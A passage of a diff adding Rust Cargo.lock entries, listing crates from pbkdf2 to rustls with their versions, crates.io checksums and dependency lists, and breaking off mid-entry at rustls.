| 3388 | + | [[package]] | |
| 3389 | + | name = "pbkdf2" | |
| 3390 | + | version = "0.12.2" | |
| 3391 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3392 | + | checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" | |
| 3393 | + | dependencies = [ | |
| 3394 | + | "digest", | |
| 3395 | + | "hmac", | |
| 3396 | + | ] | |
| 3397 | + | ||
| 3398 | + | [[package]] | |
| 3399 | + | name = "pem-rfc7468" | |
| 3400 | + | version = "0.7.0" | |
| 3401 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3402 | + | checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" | |
| 3403 | + | dependencies = [ | |
| 3404 | + | "base64ct", | |
| 3405 | + | ] | |
| 3406 | + | ||
| 3407 | + | [[package]] | |
| 3408 | + | name = "percent-encoding" | |
| 3409 | + | version = "2.3.2" | |
| 3410 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3411 | + | checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" | |
| 3412 | + | ||
| 3413 | + | [[package]] | |
| 3414 | + | name = "phf" | |
| 3415 | + | version = "0.13.1" | |
| 3416 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3417 | + | checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" | |
| 3418 | + | dependencies = [ | |
| 3419 | + | "phf_shared", | |
| 3420 | + | "serde", | |
| 3421 | + | ] | |
| 3422 | + | ||
| 3423 | + | [[package]] | |
| 3424 | + | name = "phf_codegen" | |
| 3425 | + | version = "0.13.1" | |
| 3426 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3427 | + | checksum = "49aa7f9d80421bca176ca8dbfebe668cc7a2684708594ec9f3c0db0805d5d6e1" | |
| 3428 | + | dependencies = [ | |
| 3429 | + | "phf_generator", | |
| 3430 | + | "phf_shared", | |
| 3431 | + | ] | |
| 3432 | + | ||
| 3433 | + | [[package]] | |
| 3434 | + | name = "phf_generator" | |
| 3435 | + | version = "0.13.1" | |
| 3436 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3437 | + | checksum = "135ace3a761e564ec88c03a77317a7c6b80bb7f7135ef2544dbe054243b89737" | |
| 3438 | + | dependencies = [ | |
| 3439 | + | "fastrand", | |
| 3440 | + | "phf_shared", | |
| 3441 | + | ] | |
| 3442 | + | ||
| 3443 | + | [[package]] | |
| 3444 | + | name = "phf_shared" | |
| 3445 | + | version = "0.13.1" | |
| 3446 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3447 | + | checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266" | |
| 3448 | + | dependencies = [ | |
| 3449 | + | "siphasher", | |
| 3450 | + | ] | |
| 3451 | + | ||
| 3452 | + | [[package]] | |
| 3453 | + | name = "pin-project-lite" | |
| 3454 | + | version = "0.2.17" | |
| 3455 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3456 | + | checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" | |
| 3457 | + | ||
| 3458 | + | [[package]] | |
| 3459 | + | name = "pkcs1" | |
| 3460 | + | version = "0.7.5" | |
| 3461 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3462 | + | checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" | |
| 3463 | + | dependencies = [ | |
| 3464 | + | "der", | |
| 3465 | + | "pkcs8", | |
| 3466 | + | "spki", | |
| 3467 | + | ] | |
| 3468 | + | ||
| 3469 | + | [[package]] | |
| 3470 | + | name = "pkcs5" | |
| 3471 | + | version = "0.7.1" | |
| 3472 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3473 | + | checksum = "e847e2c91a18bfa887dd028ec33f2fe6f25db77db3619024764914affe8b69a6" | |
| 3474 | + | dependencies = [ | |
| 3475 | + | "aes", | |
| 3476 | + | "cbc", | |
| 3477 | + | "der", | |
| 3478 | + | "pbkdf2", | |
| 3479 | + | "scrypt", | |
| 3480 | + | "sha2", | |
| 3481 | + | "spki", | |
| 3482 | + | ] | |
| 3483 | + | ||
| 3484 | + | [[package]] | |
| 3485 | + | name = "pkcs8" | |
| 3486 | + | version = "0.10.2" | |
| 3487 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3488 | + | checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" | |
| 3489 | + | dependencies = [ | |
| 3490 | + | "der", | |
| 3491 | + | "pkcs5", | |
| 3492 | + | "rand_core 0.6.4", | |
| 3493 | + | "spki", | |
| 3494 | + | ] | |
| 3495 | + | ||
| 3496 | + | [[package]] | |
| 3497 | + | name = "pkg-config" | |
| 3498 | + | version = "0.3.33" | |
| 3499 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3500 | + | checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" | |
| 3501 | + | ||
| 3502 | + | [[package]] | |
| 3503 | + | name = "plain" | |
| 3504 | + | version = "0.2.3" | |
| 3505 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3506 | + | checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" | |
| 3507 | + | ||
| 3508 | + | [[package]] | |
| 3509 | + | name = "plist" | |
| 3510 | + | version = "1.10.0" | |
| 3511 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3512 | + | checksum = "7da1d65da6dd5d1e44199ac0f58712d241c0f439f80adea8924d832384087f85" | |
| 3513 | + | dependencies = [ | |
| 3514 | + | "base64 0.22.1", | |
| 3515 | + | "indexmap 2.14.0", | |
| 3516 | + | "quick-xml", | |
| 3517 | + | "serde", | |
| 3518 | + | "time", | |
| 3519 | + | ] | |
| 3520 | + | ||
| 3521 | + | [[package]] | |
| 3522 | + | name = "poly1305" | |
| 3523 | + | version = "0.8.0" | |
| 3524 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3525 | + | checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" | |
| 3526 | + | dependencies = [ | |
| 3527 | + | "cpufeatures 0.2.17", | |
| 3528 | + | "opaque-debug", | |
| 3529 | + | "universal-hash", | |
| 3530 | + | ] | |
| 3531 | + | ||
| 3532 | + | [[package]] | |
| 3533 | + | name = "polyval" | |
| 3534 | + | version = "0.6.2" | |
| 3535 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3536 | + | checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" | |
| 3537 | + | dependencies = [ | |
| 3538 | + | "cfg-if", | |
| 3539 | + | "cpufeatures 0.2.17", | |
| 3540 | + | "opaque-debug", | |
| 3541 | + | "universal-hash", | |
| 3542 | + | ] | |
| 3543 | + | ||
| 3544 | + | [[package]] | |
| 3545 | + | name = "portable-atomic" | |
| 3546 | + | version = "1.14.0" | |
| 3547 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3548 | + | checksum = "3d20d5497ef88037a52ff98267d066e7f11fcc5e99bbfbd58a42336193aacec3" | |
| 3549 | + | ||
| 3550 | + | [[package]] | |
| 3551 | + | name = "portable-atomic-util" | |
| 3552 | + | version = "0.2.7" | |
| 3553 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3554 | + | checksum = "c2a106d1259c23fac8e543272398ae0e3c0b8d33c88ed73d0cc71b0f1d902618" | |
| 3555 | + | dependencies = [ | |
| 3556 | + | "portable-atomic", | |
| 3557 | + | ] | |
| 3558 | + | ||
| 3559 | + | [[package]] | |
| 3560 | + | name = "potential_utf" | |
| 3561 | + | version = "0.1.5" | |
| 3562 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3563 | + | checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" | |
| 3564 | + | dependencies = [ | |
| 3565 | + | "zerovec", | |
| 3566 | + | ] | |
| 3567 | + | ||
| 3568 | + | [[package]] | |
| 3569 | + | name = "powerfmt" | |
| 3570 | + | version = "0.2.0" | |
| 3571 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3572 | + | checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" | |
| 3573 | + | ||
| 3574 | + | [[package]] | |
| 3575 | + | name = "ppv-lite86" | |
| 3576 | + | version = "0.2.21" | |
| 3577 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3578 | + | checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" | |
| 3579 | + | dependencies = [ | |
| 3580 | + | "zerocopy", | |
| 3581 | + | ] | |
| 3582 | + | ||
| 3583 | + | [[package]] | |
| 3584 | + | name = "precomputed-hash" | |
| 3585 | + | version = "0.1.1" | |
| 3586 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3587 | + | checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" | |
| 3588 | + | ||
| 3589 | + | [[package]] | |
| 3590 | + | name = "prettyplease" | |
| 3591 | + | version = "0.2.37" | |
| 3592 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3593 | + | checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" | |
| 3594 | + | dependencies = [ | |
| 3595 | + | "proc-macro2", | |
| 3596 | + | "syn 2.0.119", | |
| 3597 | + | ] | |
| 3598 | + | ||
| 3599 | + | [[package]] | |
| 3600 | + | name = "primeorder" | |
| 3601 | + | version = "0.13.6" | |
| 3602 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3603 | + | checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" | |
| 3604 | + | dependencies = [ | |
| 3605 | + | "elliptic-curve", | |
| 3606 | + | ] | |
| 3607 | + | ||
| 3608 | + | [[package]] | |
| 3609 | + | name = "proc-macro2" | |
| 3610 | + | version = "1.0.107" | |
| 3611 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3612 | + | checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" | |
| 3613 | + | dependencies = [ | |
| 3614 | + | "unicode-ident", | |
| 3615 | + | ] | |
| 3616 | + | ||
| 3617 | + | [[package]] | |
| 3618 | + | name = "proc-macro2-diagnostics" | |
| 3619 | + | version = "0.10.1" | |
| 3620 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3621 | + | checksum = "af066a9c399a26e020ada66a034357a868728e72cd426f3adcd35f80d88d88c8" | |
| 3622 | + | dependencies = [ | |
| 3623 | + | "proc-macro2", | |
| 3624 | + | "quote", | |
| 3625 | + | "syn 2.0.119", | |
| 3626 | + | "version_check", | |
| 3627 | + | ] | |
| 3628 | + | ||
| 3629 | + | [[package]] | |
| 3630 | + | name = "prodash" | |
| 3631 | + | version = "29.0.2" | |
| 3632 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3633 | + | checksum = "f04bb108f648884c23b98a0e940ebc2c93c0c3b89f04dbaf7eb8256ce617d1bc" | |
| 3634 | + | dependencies = [ | |
| 3635 | + | "log", | |
| 3636 | + | "parking_lot", | |
| 3637 | + | ] | |
| 3638 | + | ||
| 3639 | + | [[package]] | |
| 3640 | + | name = "quick-xml" | |
| 3641 | + | version = "0.41.0" | |
| 3642 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3643 | + | checksum = "e660451e55124f798a69a5af3f49ccfbefbd41910eefd25caf2393e1f3473ec1" | |
| 3644 | + | dependencies = [ | |
| 3645 | + | "memchr", | |
| 3646 | + | ] | |
| 3647 | + | ||
| 3648 | + | [[package]] | |
| 3649 | + | name = "quinn" | |
| 3650 | + | version = "0.11.11" | |
| 3651 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3652 | + | checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8" | |
| 3653 | + | dependencies = [ | |
| 3654 | + | "bytes", | |
| 3655 | + | "cfg_aliases", | |
| 3656 | + | "pin-project-lite", | |
| 3657 | + | "quinn-proto", | |
| 3658 | + | "quinn-udp", | |
| 3659 | + | "rustc-hash", | |
| 3660 | + | "rustls", | |
| 3661 | + | "socket2", | |
| 3662 | + | "thiserror 2.0.19", | |
| 3663 | + | "tokio", | |
| 3664 | + | "tracing", | |
| 3665 | + | "web-time", | |
| 3666 | + | ] | |
| 3667 | + | ||
| 3668 | + | [[package]] | |
| 3669 | + | name = "quinn-proto" | |
| 3670 | + | version = "0.11.16" | |
| 3671 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3672 | + | checksum = "2f4bfc015262b9df63c8845072ce59068853ff5872180c2ce2f13038b970e560" | |
| 3673 | + | dependencies = [ | |
| 3674 | + | "bytes", | |
| 3675 | + | "getrandom 0.4.3", | |
| 3676 | + | "lru-slab", | |
| 3677 | + | "rand 0.10.2", | |
| 3678 | + | "rand_pcg", | |
| 3679 | + | "ring", | |
| 3680 | + | "rustc-hash", | |
| 3681 | + | "rustls", | |
| 3682 | + | "rustls-pki-types", | |
| 3683 | + | "slab", | |
| 3684 | + | "thiserror 2.0.19", | |
| 3685 | + | "tinyvec", | |
| 3686 | + | "tracing", | |
| 3687 | + | "web-time", | |
| 3688 | + | ] | |
| 3689 | + | ||
| 3690 | + | [[package]] | |
| 3691 | + | name = "quinn-udp" | |
| 3692 | + | version = "0.5.15" | |
| 3693 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3694 | + | checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" | |
| 3695 | + | dependencies = [ | |
| 3696 | + | "cfg_aliases", | |
| 3697 | + | "libc", | |
| 3698 | + | "once_cell", | |
| 3699 | + | "socket2", | |
| 3700 | + | "tracing", | |
| 3701 | + | "windows-sys 0.61.2", | |
| 3702 | + | ] | |
| 3703 | + | ||
| 3704 | + | [[package]] | |
| 3705 | + | name = "quote" | |
| 3706 | + | version = "1.0.47" | |
| 3707 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3708 | + | checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" | |
| 3709 | + | dependencies = [ | |
| 3710 | + | "proc-macro2", | |
| 3711 | + | ] | |
| 3712 | + | ||
| 3713 | + | [[package]] | |
| 3714 | + | name = "r-efi" | |
| 3715 | + | version = "6.0.0" | |
| 3716 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3717 | + | checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" | |
| 3718 | + | ||
| 3719 | + | [[package]] | |
| 3720 | + | name = "rand" | |
| 3721 | + | version = "0.8.7" | |
| 3722 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3723 | + | checksum = "22f6172bdec972074665ed81ed53b71da00bfc44b65a753cfde883ec4c702a1a" | |
| 3724 | + | dependencies = [ | |
| 3725 | + | "libc", | |
| 3726 | + | "rand_chacha", | |
| 3727 | + | "rand_core 0.6.4", | |
| 3728 | + | ] | |
| 3729 | + | ||
| 3730 | + | [[package]] | |
| 3731 | + | name = "rand" | |
| 3732 | + | version = "0.10.2" | |
| 3733 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3734 | + | checksum = "c7f5fa3a058cd35567ef9bfa5e75732bee0f9e4c55fa90477bef2dfcdbc4be80" | |
| 3735 | + | dependencies = [ | |
| 3736 | + | "chacha20 0.10.1", | |
| 3737 | + | "getrandom 0.4.3", | |
| 3738 | + | "rand_core 0.10.1", | |
| 3739 | + | ] | |
| 3740 | + | ||
| 3741 | + | [[package]] | |
| 3742 | + | name = "rand_chacha" | |
| 3743 | + | version = "0.3.1" | |
| 3744 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3745 | + | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" | |
| 3746 | + | dependencies = [ | |
| 3747 | + | "ppv-lite86", | |
| 3748 | + | "rand_core 0.6.4", | |
| 3749 | + | ] | |
| 3750 | + | ||
| 3751 | + | [[package]] | |
| 3752 | + | name = "rand_core" | |
| 3753 | + | version = "0.6.4" | |
| 3754 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3755 | + | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" | |
| 3756 | + | dependencies = [ | |
| 3757 | + | "getrandom 0.2.17", | |
| 3758 | + | ] | |
| 3759 | + | ||
| 3760 | + | [[package]] | |
| 3761 | + | name = "rand_core" | |
| 3762 | + | version = "0.10.1" | |
| 3763 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3764 | + | checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" | |
| 3765 | + | ||
| 3766 | + | [[package]] | |
| 3767 | + | name = "rand_pcg" | |
| 3768 | + | version = "0.10.2" | |
| 3769 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3770 | + | checksum = "caa0f4137e1c0a72f4c651489402276c8e8e1cf081f3b0ba156d2cbeef09e86a" | |
| 3771 | + | dependencies = [ | |
| 3772 | + | "rand_core 0.10.1", | |
| 3773 | + | ] | |
| 3774 | + | ||
| 3775 | + | [[package]] | |
| 3776 | + | name = "redox_syscall" | |
| 3777 | + | version = "0.5.18" | |
| 3778 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3779 | + | checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" | |
| 3780 | + | dependencies = [ | |
| 3781 | + | "bitflags 2.13.1", | |
| 3782 | + | ] | |
| 3783 | + | ||
| 3784 | + | [[package]] | |
| 3785 | + | name = "redox_syscall" | |
| 3786 | + | version = "0.9.1" | |
| 3787 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3788 | + | checksum = "07507be7b4a5f9f26eeb41eeaebb1f5a7ff29dfb29739facc21d35bf8b11c21e" | |
| 3789 | + | dependencies = [ | |
| 3790 | + | "bitflags 2.13.1", | |
| 3791 | + | ] | |
| 3792 | + | ||
| 3793 | + | [[package]] | |
| 3794 | + | name = "ref-cast" | |
| 3795 | + | version = "1.0.26" | |
| 3796 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3797 | + | checksum = "216e8f773d7923bcba9ceb86a86c93cabb3903a11872fc3f138c49630e50b96d" | |
| 3798 | + | dependencies = [ | |
| 3799 | + | "ref-cast-impl", | |
| 3800 | + | ] | |
| 3801 | + | ||
| 3802 | + | [[package]] | |
| 3803 | + | name = "ref-cast-impl" | |
| 3804 | + | version = "1.0.26" | |
| 3805 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3806 | + | checksum = "2c9283685feec7d69af75fb0e858d5e7378f33fe4fc699383b2916ab9273e03c" | |
| 3807 | + | dependencies = [ | |
| 3808 | + | "proc-macro2", | |
| 3809 | + | "quote", | |
| 3810 | + | "syn 3.0.3", | |
| 3811 | + | ] | |
| 3812 | + | ||
| 3813 | + | [[package]] | |
| 3814 | + | name = "regex" | |
| 3815 | + | version = "1.13.1" | |
| 3816 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3817 | + | checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" | |
| 3818 | + | dependencies = [ | |
| 3819 | + | "aho-corasick", | |
| 3820 | + | "memchr", | |
| 3821 | + | "regex-automata", | |
| 3822 | + | "regex-syntax", | |
| 3823 | + | ] | |
| 3824 | + | ||
| 3825 | + | [[package]] | |
| 3826 | + | name = "regex-automata" | |
| 3827 | + | version = "0.4.16" | |
| 3828 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3829 | + | checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad" | |
| 3830 | + | dependencies = [ | |
| 3831 | + | "aho-corasick", | |
| 3832 | + | "memchr", | |
| 3833 | + | "regex-syntax", | |
| 3834 | + | ] | |
| 3835 | + | ||
| 3836 | + | [[package]] | |
| 3837 | + | name = "regex-syntax" | |
| 3838 | + | version = "0.8.11" | |
| 3839 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3840 | + | checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" | |
| 3841 | + | ||
| 3842 | + | [[package]] | |
| 3843 | + | name = "reqwest" | |
| 3844 | + | version = "0.12.28" | |
| 3845 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3846 | + | checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" | |
| 3847 | + | dependencies = [ | |
| 3848 | + | "base64 0.22.1", | |
| 3849 | + | "bytes", | |
| 3850 | + | "futures-core", | |
| 3851 | + | "http", | |
| 3852 | + | "http-body", | |
| 3853 | + | "http-body-util", | |
| 3854 | + | "hyper", | |
| 3855 | + | "hyper-rustls", | |
| 3856 | + | "hyper-util", | |
| 3857 | + | "js-sys", | |
| 3858 | + | "log", | |
| 3859 | + | "percent-encoding", | |
| 3860 | + | "pin-project-lite", | |
| 3861 | + | "quinn", | |
| 3862 | + | "rustls", | |
| 3863 | + | "rustls-pki-types", | |
| 3864 | + | "serde", | |
| 3865 | + | "serde_json", | |
| 3866 | + | "serde_urlencoded", | |
| 3867 | + | "sync_wrapper", | |
| 3868 | + | "tokio", | |
| 3869 | + | "tokio-rustls", | |
| 3870 | + | "tower", | |
| 3871 | + | "tower-http", | |
| 3872 | + | "tower-service", | |
| 3873 | + | "url", | |
| 3874 | + | "wasm-bindgen", | |
| 3875 | + | "wasm-bindgen-futures", | |
| 3876 | + | "web-sys", | |
| 3877 | + | "webpki-roots 1.0.9", | |
| 3878 | + | ] | |
| 3879 | + | ||
| 3880 | + | [[package]] | |
| 3881 | + | name = "rfc6979" | |
| 3882 | + | version = "0.4.0" | |
| 3883 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3884 | + | checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" | |
| 3885 | + | dependencies = [ | |
| 3886 | + | "hmac", | |
| 3887 | + | "subtle", | |
| 3888 | + | ] | |
| 3889 | + | ||
| 3890 | + | [[package]] | |
| 3891 | + | name = "ring" | |
| 3892 | + | version = "0.17.14" | |
| 3893 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3894 | + | checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" | |
| 3895 | + | dependencies = [ | |
| 3896 | + | "cc", | |
| 3897 | + | "cfg-if", | |
| 3898 | + | "getrandom 0.2.17", | |
| 3899 | + | "libc", | |
| 3900 | + | "untrusted", | |
| 3901 | + | "windows-sys 0.52.0", | |
| 3902 | + | ] | |
| 3903 | + | ||
| 3904 | + | [[package]] | |
| 3905 | + | name = "rsa" | |
| 3906 | + | version = "0.9.10" | |
| 3907 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3908 | + | checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" | |
| 3909 | + | dependencies = [ | |
| 3910 | + | "const-oid", | |
| 3911 | + | "digest", | |
| 3912 | + | "num-bigint-dig", | |
| 3913 | + | "num-integer", | |
| 3914 | + | "num-traits", | |
| 3915 | + | "pkcs1", | |
| 3916 | + | "pkcs8", | |
| 3917 | + | "rand_core 0.6.4", | |
| 3918 | + | "sha2", | |
| 3919 | + | "signature", | |
| 3920 | + | "spki", | |
| 3921 | + | "subtle", | |
| 3922 | + | "zeroize", | |
| 3923 | + | ] | |
| 3924 | + | ||
| 3925 | + | [[package]] | |
| 3926 | + | name = "russh" | |
| 3927 | + | version = "0.51.1" | |
| 3928 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3929 | + | checksum = "c4816b748109d26daa30e72d231a3a6e42f9e2fffe6c08cbfed63113db0ce884" | |
| 3930 | + | dependencies = [ | |
| 3931 | + | "aes", | |
| 3932 | + | "aes-gcm", | |
| 3933 | + | "bitflags 2.13.1", | |
| 3934 | + | "block-padding", | |
| 3935 | + | "byteorder", | |
| 3936 | + | "bytes", | |
| 3937 | + | "cbc", | |
| 3938 | + | "chacha20 0.9.1", | |
| 3939 | + | "ctr", | |
| 3940 | + | "curve25519-dalek", | |
| 3941 | + | "data-encoding", | |
| 3942 | + | "delegate", | |
| 3943 | + | "der", | |
| 3944 | + | "digest", | |
| 3945 | + | "ecdsa", | |
| 3946 | + | "ed25519-dalek", | |
| 3947 | + | "elliptic-curve", | |
| 3948 | + | "enum_dispatch", | |
| 3949 | + | "flate2", | |
| 3950 | + | "futures", | |
| 3951 | + | "generic-array", | |
| 3952 | + | "getrandom 0.2.17", | |
| 3953 | + | "hex-literal", | |
| 3954 | + | "hmac", | |
| 3955 | + | "home", | |
| 3956 | + | "inout", | |
| 3957 | + | "internal-russh-forked-ssh-key", | |
| 3958 | + | "log", | |
| 3959 | + | "md5", | |
| 3960 | + | "num-bigint", | |
| 3961 | + | "once_cell", | |
| 3962 | + | "p256", | |
| 3963 | + | "p384", | |
| 3964 | + | "p521", | |
| 3965 | + | "pageant", | |
| 3966 | + | "pbkdf2", | |
| 3967 | + | "pkcs1", | |
| 3968 | + | "pkcs5", | |
| 3969 | + | "pkcs8", | |
| 3970 | + | "poly1305", | |
| 3971 | + | "rand 0.8.7", | |
| 3972 | + | "rand_core 0.6.4", | |
| 3973 | + | "rsa", | |
| 3974 | + | "russh-cryptovec", | |
| 3975 | + | "russh-util", | |
| 3976 | + | "sec1", | |
| 3977 | + | "sha1", | |
| 3978 | + | "sha2", | |
| 3979 | + | "signature", | |
| 3980 | + | "spki", | |
| 3981 | + | "ssh-encoding", | |
| 3982 | + | "subtle", | |
| 3983 | + | "thiserror 1.0.69", | |
| 3984 | + | "tokio", | |
| 3985 | + | "typenum", | |
| 3986 | + | "zeroize", | |
| 3987 | + | ] | |
| 3988 | + | ||
| 3989 | + | [[package]] | |
| 3990 | + | name = "russh-cryptovec" | |
| 3991 | + | version = "0.51.1" | |
| 3992 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3993 | + | checksum = "5b722480e7117893a8a14ba22298dca3387b24fa1c40eb06f3105b82875c7497" | |
| 3994 | + | dependencies = [ | |
| 3995 | + | "libc", | |
| 3996 | + | "log", | |
| 3997 | + | "nix", | |
| 3998 | + | "ssh-encoding", | |
| 3999 | + | "winapi", | |
| 4000 | + | ] | |
| 4001 | + | ||
| 4002 | + | [[package]] | |
| 4003 | + | name = "russh-util" | |
| 4004 | + | version = "0.51.0" | |
| 4005 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4006 | + | checksum = "c0c3f1ba8f8ccbe1af83c1a5dc325ecb0b6e176d1444c241c1d684ab216d1b24" | |
| 4007 | + | dependencies = [ | |
| 4008 | + | "chrono", | |
| 4009 | + | "tokio", | |
| 4010 | + | "wasm-bindgen", | |
| 4011 | + | "wasm-bindgen-futures", | |
| 4012 | + | ] | |
| 4013 | + | ||
| 4014 | + | [[package]] | |
| 4015 | + | name = "rustc-hash" | |
| 4016 | + | version = "2.1.3" | |
| 4017 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4018 | + | checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" | |
| 4019 | + | ||
| 4020 | + | [[package]] | |
| 4021 | + | name = "rustc_version" | |
| 4022 | + | version = "0.4.1" | |
| 4023 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4024 | + | checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" | |
| 4025 | + | dependencies = [ | |
| 4026 | + | "semver", | |
| 4027 | + | ] | |
| 4028 | + | ||
| 4029 | + | [[package]] | |
| 4030 | + | name = "rustix" | |
| 4031 | + | version = "0.38.44" | |
| 4032 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4033 | + | checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" | |
| 4034 | + | dependencies = [ | |
| 4035 | + | "bitflags 2.13.1", | |
| 4036 | + | "errno", | |
| 4037 | + | "libc", | |
| 4038 | + | "linux-raw-sys 0.4.15", | |
| 4039 | + | "windows-sys 0.52.0", | |
| 4040 | + | ] | |
| 4041 | + | ||
| 4042 | + | [[package]] | |
| 4043 | + | name = "rustix" | |
| 4044 | + | version = "1.1.4" | |
| 4045 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4046 | + | checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" | |
| 4047 | + | dependencies = [ | |
| 4048 | + | "bitflags 2.13.1", | |
| 4049 | + | "errno", | |
| 4050 | + | "libc", | |
| 4051 | + | "linux-raw-sys 0.12.1", | |
| 4052 | + | "windows-sys 0.61.2", | |
| 4053 | + | ] | |
| 4054 | + | ||
| 4055 | + | [[package]] | |
| 4056 | + | name = "rustls" | |
| 4057 | + | version = "0.23.43" | |
| 4058 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
